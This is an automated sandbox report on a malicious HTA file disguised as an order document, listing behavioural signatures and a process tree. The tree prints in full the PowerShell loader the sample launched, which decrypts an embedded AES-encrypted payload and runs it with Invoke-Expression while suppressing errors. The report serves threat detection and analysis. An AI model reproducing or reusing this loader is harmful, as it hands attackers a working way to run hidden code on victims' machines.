Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
23/06/2026, 12:33
General
- Target SIPARIS N°835.hta
- Size 34KB
- Sample260623-prezescy2p
- SHA256 5ed8a508c7bc69b2a117f713ed2616a7c93fa650578b2a08eaed8be2fd282a72
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\SIPARIS N°835.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $Savoyard = [System.Text.Encoding]::UTF8.GetBytes('6DZz4H02dcNPCr7R'); if ($Savoyard.Length -lt 32) { $Savoyard = $Savoyard + (0..(31 - $Savoyard.Length)) }; $sarmas = [Convert]::FromBase64String('8R0ImozAtS8OW/emmD00rWVSAXU+ftYNiMwZK5xczr7pKj1eYcl7mH728j3giNP8ycVdjlV6Y1y2GH585SQZhRQGhKZedSiRnCrss01UGwhxMRt/NkRsOjdCQMf1BSA2PYFskYtqZ6R3Ymfe/9mGfLvtseZ0/oC0krT7w+sH/nYrBStaDEjv7dSMt0k+1vBeEjcPyD2G/a3ONnIws2R7gaWpf+kbhNnjhIC/skSIJHbZE7D2VwigoSiiiUT1ejGqZRreqDW87lw+rocL6diXpCZ3+w6e38aYfJYGWxYYa9giLScDkrleWADWs9LmPWAiwiTTJQOEYDqrSZsnhS+2aZa8v92vsLvZWMTpB1+OvH9zms1/3aoWVrJ9aMnqouBcbAdHwD/tLZM/gAaAhYojk+MG1xMYC3fVAXlDj/sBqMMiXZAp2TgQdZGnel/S4Db8hjOEMGzzYpEntgGsyKhYsZnX/V1Q16joM7QH/WuCZ8RMmHQjuTAdbXJ6pzG/owgWhbz6zQOxTtWFO1NQsWbPjhwyPFp59aoTcQd3OdANbUBARBgckh0htvyQbX5iJHqpkaarRgKoYGo3qHGhWdTMmqhMaPJIwyxXxOPu/08Oiqtrllm5fKg+VRAG/MsLmpm4eMwoOW8N2+XFy0Sf2PscsvshN2W2ibcLqlKlQS26zhigcdyuv+ea2Hq9/2jFQqrcojz/2btSZi8mp0sCeMfQbuWwxD7vL+LZ5gUDT58Ux7NSNCSbvTV80mH67KW8bmJy3vW06cpFeq8gGzq7iqJBwUvfxSJF3zZlbyjlbacWAKxgs9J3Wga/qoHUN45md884JQtw125u7y60vZQQwzdBPdg4ikw/RkoHJkxguyvj4M00CF8pND2AnNfa3W2QRj5r3u1UeHgXAHndETWGjw4T/JPbtL1a0C2HF5RPDqIwjjB5FCqdf4GuIwczMGAlDREKU8Ac2nnD721tXhZH00KzSMsdjgqswkgy6Le/a0apoURx2xSIWBrvtOV/YYzTScxY1alVi6TMOUxCmj2ilKf0oPyWCuwSHPxUMBPsQcMsdu5VDN0H6ZyU0MbdMCcDf0klgEMbQ6MMFUh3aKupzf54wUbkZqSZTwtKuTv2+4cSjXf3nJCv093HgjO5eTB7YJkimX57i/HYSrH3awimreonKaCvzklJuKhty8CQIVE8XGGO3vtit0gvNEoU0dGUaOONZarMcNeBshPKTl7p2rad96sHAlFxZmzjOxWRbH4s/TDPRlbdxRrVFO8GCF2ZVyhJpcXs/B6oJwrfYyNcEwf6BsciGImiOoOf2CZJzaDXZgl6gh+J4+lXnwvjS7x36jtwceLzx0dkcdfD4F7j2hX8GzmuQjy5HORSYoAeQQ344tQxcF12V00aQN+mJKUp3ehcsbwF9Rpj+ctE+c639IDCZTMokVOLkOW9BNwb1VAFLjFu1e+HMXy+RHtd0fxQkvRiUvuack71yVBW1wKQV4WhLIpMcbKtvaTD79j22Cem50lgzfbiX5OkGP8+5JC/K17nr8Xxdd/KkeQc3jX/TWZl3U+X6qu1uZFfEAtxRVjrg3QlM5lfwzAm8uE5PrRI08lxB63liCEkzamPeXDxiXjuAARPZOR1H7d049Ru00l/q6bd+t2iUDiDpowvur55UlTGDU073nZhWDfPDB6qBAwDX8NEw1j3IQVuy3DJ2PfA8G1y2wDuZn7LmqD8trwUXAn5eW5KBtxGiQ8iOqY+lbS1KQPMUqU9g1nmUFb2DDh8ftE='); $misprized = $sarmas[0..15]; $picapica = $sarmas[16..($sarmas.Length-1)]; $glama = [System.Security.Cryptography.Aes]::Create(); $glama.Key = $Savoyard; $glama.IV = $misprized; $vandalistic = $glama.CreateDecryptor(); $pseudology = $vandalistic.TransformFinalBlock($picapica, 0, $picapica.Length); $carburetors = [System.Text.Encoding]::UTF8.GetString($pseudology); Invoke-Expression $carburetors; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_ap4o0x4i.clb.ps1
memory/3652-0-0x0000015F1B0B0000-0x0000015F1B0C0000-memory.dmp
memory/3652-1-0x0000015F1B0B0000-0x0000015F1B0C0000-memory.dmp
memory/3652-9-0x0000015F33590000-0x0000015F335B2000-memory.dmp
memory/3652-10-0x0000015F1B0B0000-0x0000015F1B0C0000-memory.dmp
memory/3652-11-0x0000015F1B0B0000-0x0000015F1B0C0000-memory.dmp
memory/3652-12-0x0000015F33270000-0x0000015F3348C000-memory.dmp